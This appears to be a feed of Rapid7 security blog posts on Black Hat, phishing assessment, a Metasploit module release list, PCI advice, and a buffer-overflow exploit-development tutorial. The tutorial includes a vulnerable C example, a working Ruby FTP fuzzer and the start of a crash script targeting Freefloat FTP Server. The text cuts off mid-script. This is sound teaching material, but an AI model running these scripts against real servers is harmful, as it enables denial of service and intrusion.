shoulders with, stand in line behind, or sit next to (when you felt the urge to ask a really stupid question) may have written the tools you use at work EVERY DAY, or the books/blogs you read that started you in this career, or your next co-worker or boss. Bring the best version of you every minute, of every day. Black Hat Rule Number 1 - Cardio. This isn't just a rule to survive by in Zombieland. Vegas IS Zombieland. In other words, Black Hat is not a sprint, it is an ultra-marathon. You'll start early. You won't rest as well as you'd hoped. You'll be dehydrated. You'll get lost. You'll have an amazing conversation and lose track of time. You'll probably stay up later or drink more than planned. To survive, or absolutely rock this week, play the long game. To help you do that, in the following blog posts (we'll link them in as they come online) I'll provide guidance on how to prepare, maximizing your time at Black Hat: Part 1: How to Survive Black Hat (this post) Part 2: Getting the most out of Black Hat briefings Part 3: Networking at Black Hat like a boss Part 4: Guest Post - Talking to the media & press Part 5: Meaningful introductions Part 5a: Guest Post - The Magic of People Part 6: The Black Hat Sponsor Hall, Arsenal, and more Part 6a: On Job Hunting & Recruiting Part 7: Your Survival Kit Part 7a: Guest Post - Electronic Survival Part 8: Trip Reporting Hopefully this will be helpful—these are lessons and observations from my book of bad beats, lessons learned through experience or observation. As always, please post questions here, or hit me up on Twitter. ~@treyford Continue on to Part 2 of this series: Getting the most out of Black Hat briefings

Top 4 Takeaways from the "2015 Security New Year's Resolutions: Expert Panel" Webcast

In this week's webcast, our panel of security experts took the time to reflect on the past year and discuss their 2015 Security New Year's Resolutions. For this discussion Trey Ford, Global Security Strategist at Rapid7, and Josh Feinblum, VP of Information Security at Rapid7…

In this week's webcast, our panel of security experts took the time to reflect on the past year and discuss their 2015 Security New Year's Resolutions. For this discussion Trey Ford, Global Security Strategist at Rapid7, and Josh Feinblum, VP of Information Security at Rapid7 were joined by Andrew Plato, President/CEO at Anitian, Chris Calvert, Senior Strategy Manager – Red Team and Cyber Threat Intelligence at TELUS, and Bob Jones, Information Security Manager at City of Corpus Christi, TX. The panelists spoke about lessons learned from the past year, best practices to implement going forward, and each person's top 2015 security initiatives. Read on to learn the top takeaways from this lively discussion: Security is an enterprise problem, not an IT problem – 2014 was the year that security became a topic of conversation in board rooms and dining rooms through a steady stream of public events. Higher ups are more receptive than ever to hearing from security practitioners, and general awareness about security as an issue that needs attention beyond compliance is high. We should take advantage of this by ensuring that users are educated about steps they should take to protect themselves and that security professionals get included in the first stages of business decision conversations. If they're brought in too late they can be seen as a disruption to progress, or worse, issues can slip by without notice from security. Executives are realizing that check box security isn't enough, and security professionals need to seize this opportunity to partner with leaders and keep security top of mind. Be smart with your budget – Now that many boards and executives are paying attention to the issue of security, and in some cases allowing for more budget to support security programs, security professionals need to be very smart about how they manage their money. Throwing more money and more tools at an issue won't solve any problems. Tools alone aren't enough - you need to understand what the problem is and have the ability to do something about it. Security teams need smart people solving problems creatively, and to hold their security vendors accountable to consistently provide value and improve a team's ability to reduce noise to something manageable. The technology and controls in place need to work for security professionals to get them the data and insight they need, and if processes and policies aren't working, we should get out of our comfort zones to update and change them. Nail the fundamentals – More than anything else, the extreme importance of working to perfect security fundamentals was hammered home during this discussion. It is dangerous and ineffective for security professionals to get ahead of themselves, especially with many major breaches still occurring through simple avenues. Security teams must know exactly what systems they have, how many are running in their environment, who should be accessing them, who owns them, and what normal behavior looks like on each system. They need things like defense in depth, multiple layers of controls, configuration, change, and vulnerability management to start. These are the building blocks to anything a security organization needs to get done (for more details on security fundamentals check out the webcast recording), and these fundamentals need to be successfully managed for a company to become mature and think about adding in more complex solutions. Security professionals must practice doing the common uncommonly well. 4. Assume breach! – When it comes to being breached, it is not a question of if, but when! Have a breach response plan, and don't assume that because things are quiet you are safe and secure. Always assume the next attack is looming so you are ready and aware when an incident occurs. By operating on an "attackers will find a way" premise you can focus on making sure the attacker's mobility is limited and quickly identifiable once they've entered your environment. To listen to the full discussion and learn about each expert's 2015 security initiatives view the on-demand webinar now.

Weekly Metasploit Update: Post-4.10 Edition

Since we Last Left Our Heroes... Wow, it's been a busy couple weeks here, post-DefCon/Black Hat. As you no doubt have noticed, we released Metasploit 4.10, which brings some major architectural changes to how our brute force login scanners are written, run, and…

Since we Last Left Our Heroes... Wow, it's been a busy couple weeks here, post-DefCon/Black Hat. As you no doubt have noticed, we released Metasploit 4.10, which brings some major architectural changes to how our brute force login scanners are written, run, and logged -- you can read up on all that over at Dave TheLightCosine Maloney's delightful documentation, Creating Metasploit Framework LoginScanners to see how to write and use the new login and credential APIs. Along with this, we've also converted the Metasploit Framework into a fully-fledged Rails::Application, which itself is kind of huge. This should allow for much easier integration with other Ruby projects -- most notably, testing frameworks (let's cut down on regressions and bitrot) and opens the door for a gem-based distribution system for modules and module packs (yes, this is as rad as it sounds). If you're interested in the guts of how Metasploit Framework works now, take a look at Luke KronicDeth Imhoff's blog post about this significant upgrade. A Great Big Pile of HOWTO Also during 4.10, we've been revisiting a lot of the documentation of how to write specific kinds of Metasploit modules -- and by "we," I mean Wei sinn3r Chen, the world-reknowned and -feared superhacker with over 200 direct credits on Metasploit modules and input on well over a thousand. If you're just starting your exploit dev career, or if you've been at it for a while, these resources will be crazy valuable for you. The latest material includes: How to get started with writing an exploit How to get started with writing an auxiliary module How to get started with writing a post module Sinn3r goes on to provide a lot of detail for major types of modules, such as web browser exploits and file format exploits, as well as typical chunks of modules, such as the check() method and using Railgun, Meterpreter's interface with the Windows core API. If you're troubled or confused about some area of Metasploit module writing after reading these, then feel free to offer suggestions and ask questions on our open source developer's Freenode channel, #metasploit. Distributed, Reflective Denial of Service with NTP Earlier this week, we also released five new auxiliary modules that can be used to audit your NTP infrastructure, This is Kind of a Big Deal -- given these common exposures in NTP and the nature of UDP-based communications, it can become trivially easy for an attacker to start flooding victims by using these mis-configured devices as amplification stations, leading to a distributed, reflective denial of service (DRDoS) attack. DRDoS events are slightly different than just regular DDoS events. Instead of an attacker controlling a network of compromised and/or controlled hosts, the attacker uses the reflective and amplication "features" of spoofable services. The old "Smurf" attack is a classic example of this attack, where I pretend to be you and ping the broadcast address of some other network, resulting in lots of reply messages sent your way that you didn't ask for. In this way, one ICMP ping packet from me could turn into a few hundred ping response packets for you. The ICMP Smurf attack rarely works any more - pipes are bigger and broadcast domains that respond to ping are few. People just don't respond to ping like they used to. NTP, on the other hand, is the Network Time Protocol, used to keep computers in sync, is listening all over the place, and is kind of hugely important for things like authentication and certificate revocation, so it's definitely a critical chunk of Internet architecture. Turns out, vulnerable NTP servers are also plenty available for attackers -- as Jon wrote, Rapid7's Project Sonar has identified over 65,000 hosts that appear to be capable of aiding attackers in amplified, reflective attacks. For lots more detail on these vectors, and advice on how to protect your own network, check out Jon's blog post on R7-2014-12: NTP Amplication Attacks. New Modules Since the release of Metasploit 4.10, we've added 20 new modules, including the aforementioned NTP scanners, as well as a command injection exploit for Yokogawa-manufactured Human Interface Stations (discussed at DefCon by yours truly and Jim CipherLaw Denaro) and of course a whole pile of other tools for your pen-test bag of tricks. Enjoy! Exploit modules Firefox toString console.time Privileged Javascript Injection by joev, Cody Crews, and moz_bug_r_a4 exploits CVE-2013-1710 Firefox WebIDL Privileged Javascript Injection by joev and Marius Mlynski exploits CVE-2014-1511 Gitlab-shell Code Execution by Brandon Knight exploits CVE-2013-4490 ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection by Pedro Ribeiro exploits CVE-2014-3996 VMTurbo Operations Manager vmtadmin.cgi Remote Command Execution by Emilio Pinna exploits CVE-2014-5073 HybridAuth install.php PHP Code Execution by Brendan Coles and Pichaya Morimoto exploits OSVDB-109838 MQAC.sys Arbitrary Write Privilege Escalation by Matt Bergin and Spencer McIntyre exploits CVE-2014-4971 VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation by Jay Smith and Matt Bergin exploits CVE-2014-2477 VirtualBox 3D Acceleration Virtual Machine Escape by juan vazquez, Florian Ledoux, and Francisco Falcon exploits CVE-2014-0983 Auxiliary and post modules JBoss JMX Console Beanshell Deployer WAR Upload and Deployment by us3r777 exploits CVE-2010-0738 Yokogawa BKBCopyD.exe Client by Unknown Wordpress XMLRPC DoS by Christian Mehlmauer and Nir Goldshlager IP Board Login Auxiliary Module by Christopher Truncer NTP Mode 7 PEER_LIST DoS Scanner by Jon Hart NTP Mode 7 PEER_LIST_SUM DoS Scanner by Jon Hart NTP Mode 6 REQ_NONCE DRDoS Scanner by Jon Hart NTP Mode 7 GET_RESTRICT DRDoS Scanner by Jon Hart NTP Mode 6 UNSETTRAP DRDoS Scanner by Jon Hart SSDP ssdp:all M-SEARCH Amplification Scanner by xistence Linux Gather Gnome-Commander Creds by David Bloom For additional details on what's changed and what's current, please see Chris Doughty's most excellent release notes, as well as last week's release notes. which covers the period immediately following the 4.10 release.

How Vulnerable Are Your Phishing Targets?

When you're assessing the exposure to phishing in your organization, one important part are the client-side vulnerabilities that would enable a malicious attacker to exploit a browser. In this blog post, I'd like to outline a non-invasive (and free!) way to get visibility into your…

When you're assessing the exposure to phishing in your organization, one important part are the client-side vulnerabilities that would enable a malicious attacker to exploit a browser. In this blog post, I'd like to outline a non-invasive (and free!) way to get visibility into your client-side risk landscape.There are essentially two ways to use phishing as part of your security program.Phish 2 Pwn: If you are a penetration tester, you'll likely use spear phishing of a couple of users to compromise a machine to gain a first foothold in the network and then pivot from there. Phish 2 Educate: Phishing as part of your security program uses simulated phishes to see how many of your users would click on a link or enter credentials on a fake form.Metasploit Pro offers phishing options for both Phish 2 Pwn and Phish 2 Educate. For this blog post, we'll focus on the latter. With Metasploit, you would typically set up your phishing email, containing a link to a landing page, which could be used to do any of the following:Exploiting the browser or its pluginsDisplaying a fake login page to harvest credentials (e.g. OWA login page)Tracking click-throughsDelivering security awareness trainingAny combination of the aboveSome phishing projects don't allow you to exploit clients, but there is a great way to determine client-side vulnerabilities using a free Rapid7 product called BrowserScan. Think of BrowserScan like Google Analytics for client-side vulnerabilities: You embed an invisible JavaScript snippet in your landing page and view the vulnerabilities in your BrowserScan dashboard. It records both browser and plugin vulnerabilities. While a vulnerability management, such as Nexpose, can give you this kind of information about clients inside your network, BrowserScan gives you the vulnerability ratings of the machine actually used by the user, such as the user's home PC.Here's how you do it:Create your free BrowserScan accountClick on Tracking and choose the Transparent badge, which is not visible when the user visits the pageEmbed the JavaScript code in your phishing landing pageOnce you have run your phishing campaign, you'll be able to see the the results of the vulnerable scanners in your BrowserScan Dashboard:You can view the number of vulnerable clients overall or by a particular plugin. Here's Oracle Java by vulnerability status:You can also see the breakdown by version number:BrowserScan is not only limited to your phishing campaigns - you can also host it on other web pages, e.g. your intranet page or a frequently used internal web application, to get a quick, easy, and free view of your users' security posture, no matter where they may access the page from. You can even include a badge on your intranet page that gives the user instant feedback of their security posture. You may even consider this for your phishing training page:Want to give this a try? Create your free BrowserScan account now!

Social Media: Vector for the New Economic Attack?

The big news in security this week has been the hijacking of the Associated Press' Twitter account. The attackers leveraged the "bad news" atmosphere created by the events in Boston last week to gain some measure of credibility for a tweet about bombs exploding at…

The big news in security this week has been the hijacking of the Associated Press' Twitter account. The attackers leveraged the "bad news" atmosphere created by the events in Boston last week to gain some measure of credibility for a tweet about bombs exploding at the White House. This is not a particularly new approach: in 2007, the Storm Worm used bad news in an email subject to get people's attention (“230 dead as storm batters Europe”) and install malware on their machines.The difference here is that the AP twitter hack resulted in 4,000 retweets within 15 minutes, and the DOW dropped 143 points. It not clear whether the latter was the motivation for the attack, but it does raise the question of whether we might see more social media attacks aimed at impacting the stock market in the future. The impact on the stock exchange may have only been momentary, but it was significant. This seems to me like it could potentially spawn a new attack trend with some pretty significant economic implications.We have seen a number of high profile brands targeted through their social media profiles. For instance, in February, Burger King's twitter account was hacked and its photo was set to the McDonald's logo with a message stating that Burger King was sold to McDonalds. Fortunately, in addition to the merger tweet, the hacker tweeted other inappropriate things – so it was fairly obvious the account was hacked. And it is safe to say that the fast-food company's stock did not fluctuate wildly.So the four things I would challenge individuals and organizations to consider are:The power of social media tools and the impact it can have on your reputation, personally or at an organizational level. Organizations might want to consider developing a security/ risk management strategy around these systems.The criticality of good passwords on every account, not just sensitive financial or company data. Use longer passwords (8-12 characters), don't reuse passwords across multiple sites, and use special characters.  Also, don't use words obviously associated with you, your organization, or the site in question. For example, "Rapid7_Twitter_password" might be long and use special characters, but it's probably not the best bet for us!The entry point for the attack was a spear-phishing email. These can be really hard to spot these days, so be wary in general of emails encouraging you to click on something or open something. Always check whether the "from" address look right and don't click on the link itself - open a browser and type in what you think the link should be based on logic. Bottom line: if in doubt, forward the email to your colleagues in security or IT, or else just ignore it.Lastly, consider testing your users to measure their susceptibility to these kinds of attacks. to user risk testing, For example, automated social engineering testing can help you identify training and education needs.

Webcast: Decrease Your Risk of a Data Breach - Effective Security Programs with Metasploit

Thanks for the many CISOs and security engineers who attended our recent webcast, in which I presented some practical advice on how to leverage Metasploit to conduct regular security reviews that address current attack vectors. While Metasploit is often used for penetration testing projects, this…

Thanks for the many CISOs and security engineers who attended our recent webcast, in which I presented some practical advice on how to leverage Metasploit to conduct regular security reviews that address current attack vectors. While Metasploit is often used for penetration testing projects, this presentation focuses on leveraging Metasploit for ongoing security assessments that can be achieved with a small security team to reduce the risk of a data breach.This webcast is now available for on-demand viewing What you'll learn in this webcast: Recent attack trends and how they matter to your businessAutomating penetration tests to prevent untargeted, automated attacksQuick & easy ways to verify vulnerabilities reported by your vulnerability assessment program so you can focus your limited resources where they have the most impactConducting regular password audits that require minimal effort to set up and maintainRunning social engineering campaigns to measure security awareness in an enterpriseAudience questions answered in this webcastView the Security Programs with Metasploit Webcast Now

PCI 30 seconds newsletter #22 - Don't get lost in translation with Executives. Get them listening.

"I need people and I need funding to do my job properly. Executives don't get it - They want me to bulletproof their systems but don't want to listen".Does this sound familiar? Of course, such moaning fills the room of security gathering sessions such…

"I need people and I need funding to do my job properly. Executives don't get it - They want me to bulletproof their systems but don't want to listen".Does this sound familiar? Of course, such moaning fills the room of security gathering sessions such as the any local PCI Community meeting.IT security responsible persons usually point to Executives as a major impediment to their mission. Why is that?  I think that Executives and IT Security DO work toward the same goal: "Securing the business". They differ in terms of focus, interests, beliefs, perspectives, way of working, and languages.  In such circumstances it shouldn't surprise anyone that Executives and IT Security are somehow lost in translation. "Sorry I don't understand what you are saying, are you speaking Business? How can we avoid this? How can we move these two camps closer?Involve Executives in key security governance activities.According to a study from the Carnegie Melon Cylab on "How Boards & Senior Executives are managing Cyber Risks” (see link at the bottom):  Executives tends to:overlook security among their top agenda items.not review the policies that are set.not look at the roles and responsibilities assigned to key personnel.not review security incidentsdelegate these "IT things" to experts.One way to make Executives sensitive to security is to involve them in key security governance activities. So although not explicitly required by PCI DSS, it would be wise to establish coordination meetings with Executives (at least twice a year) for the endorsement of key materials such as these:IT Risk analysis,security roadmap,security policiesassignment of security related responsibilities.Adopt their language and protocols.Executives DO listen but people responsible for IT Security need to learn how to communicate effectively with them.In this context, here are some advices shared by John South, CISO for Heartland Payment Systems in an interview:  "How to talk security to the board of directors" (see link below).Don't be afraid to discuss security issues openly so they can understand what impact those issues may have.Getting them to understand the issues and to make a decision is usually a matter of managing time rather than managing information. So stay focused and go straight to the points.Keep in mind that Executives see things from a business perspective as opposed to a technical perspective.Think like a business personPut everything in a manner that allows them to quickly see the big picture.Encapsulate your security story into a business case. Show them what impact it has for the company, what impact it has for operation; what are the remediation plan(s) and associated costs.Use scorecards, dashboards and colors.Make sure they get all the information they need to take a decision BUT banish all technical terms, designs, and irrelevant info.As Quoted by Einstein “If you can't explain it simply, you don't understand it well enough,” Use only words that a six year old child could understand.Drill your presentation with non-technical audiences such as sale or marketing people.The application of these principles could be quite challenging. Make sure to include trainings in your individual development plan to develop your presentation and communication skills. Learn to expose business cases in a very short presentation with the minimum necessary information.QuestionsWhat is your personal opinion/experience on this topic?What are your suggestions for enhancing the level of cooperation ?Did you find this newsletter valuable for the security community?What other topics would you like to see addressed in these PCI newsletters ?References:Why Boards overlook Cyber Risks?How to talk Security to the Board?Make sure to check out our previous PCI 30 seconds newsletter:  #21 - "Qualified" internal scanning staff using "appropriate" scanning tools - What does that mean?

Metasploit exploit development - The series Part 1.

So you wanna be a Metasploit exploit developer huh? Well you are in luck because I have been working on an an "in-depth" exploit development tutorial series  that takes users behind the scenes on the process of exploit development and metasploit module creation.…

So you wanna be a Metasploit exploit developer huh? Well you are in luck because I have been working on an an "in-depth" exploit development tutorial series  that takes users behind the scenes on the process of exploit development and metasploit module creation. This series has been specifically designed with you "the community" in mind. It will cover step by step detail and explanation. This post is meant to be part 1 of a series of exploit posts to come. The goal is to raise awareness on the steps needed to build a simple exploit and work our way up to sophisticated metasploit modules that will help increase community contributions via our pull request system. Companies are also trying to drive up the cost of exploit development, and I say it doesn't matter because were not going anywhere. Programs like Metasploit secure the net, and kickstart vendors into action and prevents them from using the bluff card because proven exploits are offered to ensure customers/companies are safe from vulnerabilities. What you will learn: Part 1 is aimed at newcomers in the exploit field, and concentrates on exploiting a simple FTP server with a buffer overflow vulnerability to eventually land us a bind shell. Dont worry, we will systematically progress onto more difficult, and modern exploitation vectors in the upcoming series. Part 1 is a very easy demonstration and details old techniques, but will allow you to move onto more advanced exploitation techniques like ROP, Heap Spraying, and begin to understand how to bypass current memory protections like DEP/ASLR for the next series. I want you to struggle a bit with the old school way. Mona.py (and how it changed the game) will be covered in depth in the upcoming series as well. You cant know where exploit development/memory protections are going, or are currently at until you know where they have been. This experience is key because it gives you a solid grasp on the awesome functionality of the Metasploit framework, and how to write modules yourself, and gives you the confidence/ability to follow along as we progress deeper into exploit development in our future series posts. The skills you learn here can aid you in your current role and enable you to port exploits from other languages to Metasploit, and craft your own. Also, have you ever been on a pen test, and found a vulnerable service/daemon, and navigated to exploit-db.com and found several public exploits listed, only to find yourself without the knowledge or experience to modify/port those exploits to suit your pen test, and essentially not gain access? Before we start: I want to give an extra special thanks to Wei "sinn3r" Chen, Tod "todb" Beardsley, and Juan Vazquez from the Metasploit Team for performing the technical proof reading on the post, and for emailing me a "long" list of items to correct/update. Also for providing the extra special "Quick Tips" that are detailed throughout this post. Those quick tips will no doubt help myself and our community on our exploit development path. With their guidance I was able to learn new concepts, and I was able to refine my personal exploit process. This article would not be what it is if it wasn't for their input. Thanks !! According to Wei "sinn3r" Chen, Exploit Engineer and Juan Vazquez, Exploit Developer on the Metasploit Team, " Having an exploit dev on a pentest team can be handy, but not always possible to deploy them due time restrictions or permissions.  Ideally, exploits should constantly be prepared as early as possible, that way you can work on your reliability more, hence better results in your pentest. A last-min exploit will only be prone to failures, making your pentest unsuccessful.  Also, people should use Metasploit to build exploits because the whole package we provide -- we have a large collection of good payloads that are open source, so if needed you can always customize it.  We also have a large collection of post exploitation modules that your MSF payload can use, and good post exploitation is often where you get to add a lot more value to your pentest. " Concentrating on exploit development during a pen test leaves the customer in a better spot because it uncovers actual business risk and exposure to compromise. Metasploit exploit series goals: Main goal is to raise the numbers of acceptable pull requests while learning cool Metasploit/ruby programming techniques in the process Detail new modules and perform an in-depth anatomy deep dive on them, and demystify how they were created so we can learn how to emulate them To ensure your success, if you havent done so already please familiarize yourself with the following (in order of relevance): 1. Learn Ruby The Hard Way then move on to Programming Ruby 1.9 2. Helpful Exploitation Theory | Assembly Memory Corruption Intro to exploits videos  | Myne-us | it-sec-catalog 3. Writing a Windows Exploit for the Metasploit Framework 4. Metasploit The Pen Testers Guide 5. Start to look at /modify/play and port actual Metasploit exploit code ['EDB',1, 2, 3, 4, 5'] 6. Join the Metasploit hackers-developer list and invest time in learning the MSF Wiki processes: msf to the fullest | msfdev | porting exploit modules | dev environment | using git | msf acceptance guidelines | get your feet wet | bad coding practice | Top 50 most wanted exploits According to Wei "sinn3r" Chen, Exploit Engineer and Juan Vazquez, Exploit Developer on the Metasploit Team, " Exploitation steps can change depending on the compiler or the environment. Sometimes certain Windows API can change the stack layout a bit.  This is why sometimes you'll see an exploit working for a specific service-pack even though it's using application-specific memory addresses.  The same problem can also occur if you let your students compile their own vuln app, so make sure you don't let them compile from source. " Exploit Building steps covered in this tutorial (steps used depends on the exploit/series covered): We will stick to this exploit building format for the duration of the series. Step 1.    Stack Based Buffer Overflows and vulnerable C/C functions Step 2.    Why the overflow occurs (deep dive into IDA Pro and ImmunityDBG) Step 3.    Noisy fuzzer to identify vulns => (fuzz.rb) Step 4.    Crash the app => (isolate.rb) Step 5.    Control the crash, uncover memory protections, and zone in on the command that crashed. Step 6.    Uncover bad characters, and calculate shellcode space => (isolate.rb) Step 7.    Confirm shellcode space by subtracting the end ESP address from the start ESP address Step 8.    Overwrite "the stack including the RETN address with pattern analysis => (isolate.rb) Step 9.    Gather jmp esp address in core application.dll not kernel32.dll (details why are shown) Step 10.  Develop PoC exploit and pop calc.exe => (PoC.rb) Step 11.  Weaponize it with shellcode => (weaponize.rb) Step 12.  Exploit QA process and re-confirm BadCharacters => (weaponize.rb) Step 13.  Port exploit into a metasploit module (msf.rb) If you have any questions, need clarification or having any issues going thru the labs. Simply post a question in the metasploit discussion page. This encourages people to collaborate/share/answer for points and helps us track answers to provide the community with better material and quicker turnaround time on questions. Tutorial series learning format: We understand that different people learn in different ways so we are going to incorporate all the learning styles into this tutorial series. This series will emphasize practical hands on exercises, required reading, and the option of completing the homework (metasploit modules) and contribute your shiny new modules back to the community. This is the first exploit series of its kind, and we are truly excited! Environment setup: To ensure you can follow along during the series, I will provide version numbers regarding my dev environment where applicable. This series Part1. has been tested to run on the following versions and Operating systems only. Please set your environment accordingly before proceeding to the hands on exercises, and homework. I am using the following in my environment: Ruby1.9.3p194 Immunity Debugger IDA Pro 6.1 or IDA free Metasploit (updated copy) FTP Freefloat Serverhttp://archive.org/download/ExploitDevelopmentWithRuby/vuln_ftp.exe(Version 1.00) Back|Track 5R2 KDE x64 (fully updated) Windows XP Pro SP3 (you need your own licensed copy) Step 1.  Theory - Stack Based Buffer Overflows and vulnerable****C/C functions Since part 1 is an entry level series it is best to discuss some of the fundamentals of the stack, and how it relates to Assembly and the exploit process. An overflow happens in an application as the program writes more information in an array or the buffer, than the space allocated in memory for it. This causes the adjacent area, the areas above the direction of buffer growth, to be overwritten. When this occurs all previously stored values are corrupted. Overflows are defined as programming errors that are introduced into a application as a result of failing to enforce boundary conditions on the data being copied into the buffer. The flaws are so common in fact that Microsoft is prohibiting the use of banned functions due to dangerous C library functions being used to handle strings. Familiarize yourself with assembly tutorials 1 and 2 before proceeding. Stacks in computing architectures are regions of memory where data is added or removed in a last-in-first-out (LIFO) manner. Figure 0x1: Stack LIFO structure. In a stack, the topmost item, which is added last, is taken out first. Hence a stack is a LIFO structure. A strcpy example #include <string.h> void foo (char *bar) { char c[12]; strcpy(c, bar); // no bounds checking... } int main (int argc, char **argv) { foo(argv[1]); } Figure 0x2: Vulnerable code. Figure 0x3: Buffer overflow process. A. The code at Figure 0x2 above takes an argument from the command line and copies it to a local stack variable c at A above. B. This works fine for command line arguments smaller than 12 characters. C. Any arguments larger than 11 characters long will result in corruption of the stack. (The maximum number of characters that is safe is one less than the size of the buffer here because in the C programming language strings are terminated by a zero byte character. When the "func" procedure returns, it moves EBP back into ESP, and POP's the return address (EIP) off the stack (4 bytes). When the above code executes it overflows the buffer, writing 'A's over the old value of EBP and over the return address. By overwriting the return address, you can seriously alter the execution flow of the program by controlling EIP and eventually jumping to our evil shellcode (ESP). Figure 0x4: Typical layout of the stack during the function call. As an example in Windows/Intel, typically, when the function call takes place, data elements are stored on the stack in the following way: The function parameters are pushed on the stack before the function is called.  The parameters are pushed from right to left. The function return address is placed on the stack by the x86 CALL instruction, which stores the current value of the EIP register. Then, the frame pointer that is the previous value of the EBP register is placed on the stack. If a function includes try/catch or any other exception handling construct such as SEH (Structured Exception Handling - Microsoft implementation), the compiler will include exception handling information on the stack. Next, the locally declared variables. Then the buffers are allocated for temporary data storage. Finally, the call save registers such as ESI, EDI, and EBX are stored if they are used at any point during the functions execution. Step 2. Theory - Why the buffer overflow occurs (deep dive into Immunity Debugger) Step 3.  Noisy fuzzer to identify vulns Lets get started. First I will install/start Freefloat FTP server on the Microsoft XP Pro SP3 victim (the virtual machine you just created based on all the above steps). According to Wei "sinn3r" Chen, Exploit Engineer and Juan Vazquez, Exploit Developer on the Metasploit Team, " There is a way you can get a shell against FreeFloat FTP server without using a buffer overflow and much more reliable, btw :-)  Hint: You can upload to ANYWHERE. " Figure 1: Start the FTP Server on the victim. Next I do a quick banner grab to verify the version to verify its correct. Figure 2: Quick netcat banner grab. #!/usr/bin/env ruby #/home/nanob0t/.rvm/rubies/ruby-1.9.2-p290/bin/ruby #require '/var/lib/gems/1.9.2/gems/rainbow-1.1.4/lib/rainbow.rb' #======================================================= # # FILE: fuzz.rb # # DESCRIPTION: # A quick rewrite of ftpfuzz.py by "isomorphix" # can be customized quickly. # BUGS: None reported ::: # NOTES: Works on Nix x64 # AUTHOR: Rick Flores nanoquetz9l<@>nanotechfibers.com # VERSION: "SEAL Team v.1" # CREATED: 07/8/11 # REVISION: #======================================================= $: << '.' begin require 'rainbow' require 'socket' rescue LoadError => e puts "ERROR: Missing ruby gem. Please see README file." puts e.inspect end @version = "SEAL Team v.1" # my 1337 banner def banner() puts "___________________________________________________________________" puts " _ _ _____ _ " puts " | \ | | | ___| | | " puts " | \| | __ _ _ __ ___ | |__ _ __ __ _| |_ __ ___ ___ _ __ " puts " | . ` |/ _` | '_ \ / _ \| __| '_ \ / _` | | '_ \ / _ \/ _ \ '__| " puts " | |\ | (_| | | | | (_) | |__| | | | (_| |_| | | | __/ __/ | " puts " \_| \_/\__,_|_| |_|\___/\____/_| |_|\__, (_)_| |_|\___|\___|_| " puts " __/ | " puts " |___/ " + @version puts " " puts " Quick & dirty fuzzer that can be customized quickly." puts "___________________________________________________________________" end # GNU license def license() puts "# Copyright (C) 2011 Rick Flores" puts "# This program comes with ABSOLUTELY NO WARRANTY." puts "# This is free software, and you are welcome to redistribute it" puts "# under certain conditions. See GNU GPLv3." end #puts banner () # # Variables to be passed at the command line and assigned for # use in identifying buffer overflow. # unless ARGV.length == 2 puts "The correct use of fuzz.rb is as follows:".foreground(:yellow) puts "Usage: ruby fuzz.rb Target_IP_Address Target_Destination_Port".foreground(:yellow) puts "Example: ./fuzz.rb 192.168.15.3 666".foreground(:red).bright.blink exit end # Declare needed variables target = ARGV[0] port = ARGV[1] buffer = ["A"] c =20 while buffer.length <=40 buffer << "A" * c c += 100 end commands = ["MKD","ACCL","APPE","TOP","CWD","AUTH","STOR","STAT","LIST","RETR","NLST","LS","DELE","RSET","NOOP","UIDL","USER"] commands.each {|cmd| buffer.each {|str| puts "Sending #{cmd} command with #{str.length} bytes".foreground(:red).bright socket = TCPSocket.new(target, port) socket.puts('USER test\r\n') puts socket.gets socket.puts('PASS test\r\n') puts socket.gets socket.puts(cmd + " " + str + "\r\n") puts socket.gets socket.puts('QUIT\r\n') socket.close } } Figure 3: fuzz.rb script we will be using (can be downloaded below). Step 4. Crash the application. Below we see that the fuzzer has crashed while sending 1720 bytes to the MKD command. Figure 4: fuzzer crashed at exactly 1720 bytes with the MKD command. The Freefloat FTP Server has crashed. Figure 5: The FTP server crashed. Next we isolate in on the MKD command at step 5 below, and see the crash in detail so we can study it. We first restart the FTP server then attach it to Immunity Debugger to eventually see which magic 4 bytes overwrite "the stack including the RETN address. Dont forget to run the program when finished attaching it. Figure 6: After restarting the FTP server, fire up Immunity and go to File>Attach Figure 7: Dont forget to start the app because it is paused by default by pressing . Step 5. Control the crash, u****ncover memory protections, and zone in on the command that crashed**.** We are only concerned with DEP/ASLR at this point, and those bypass techniques are not covered until Part 2 of this series. Keep an eye out for it soon. Wei "sinn3r" Chen, Exploit Engineer and Juan Vazquez, Exploit Developer on the Metasploit Team, comment on memory protections, " Memory protections can be compiler specific. For example, you will probably never see programs compiled by the latest DevC with default settings protected by any memory protection such as SafeSEH, ASLR, NX, etc. But you will see the opposite in the latest Visual Studio. " #!/usr/bin/env ruby # #More informations about the flaw can be found here http://net-fuzzer.blogspot.com/2011/07/freefloat-ftp-server-multiples-buffer.html. # #What i do? #Only a script, to demonstrate the crash in FreeFloatFtpServer 1.00. # #Note: #After sending the very long MKD command, close the socket connection, then open another socket on the server, #wait a second using "sleep(1)" and close the connection. #For the program to crash it is necessary to connect again. # require 'socket' ###### [ 1 ] buf = "X" * 1000 # original qk_fuzz.rb buffer ESP should be overwritten by 58:58:58:58 ###### [ 2 ] # Pattern analysis by sending unique string to identify which 4 bytes overwrite EIP ! #buf = 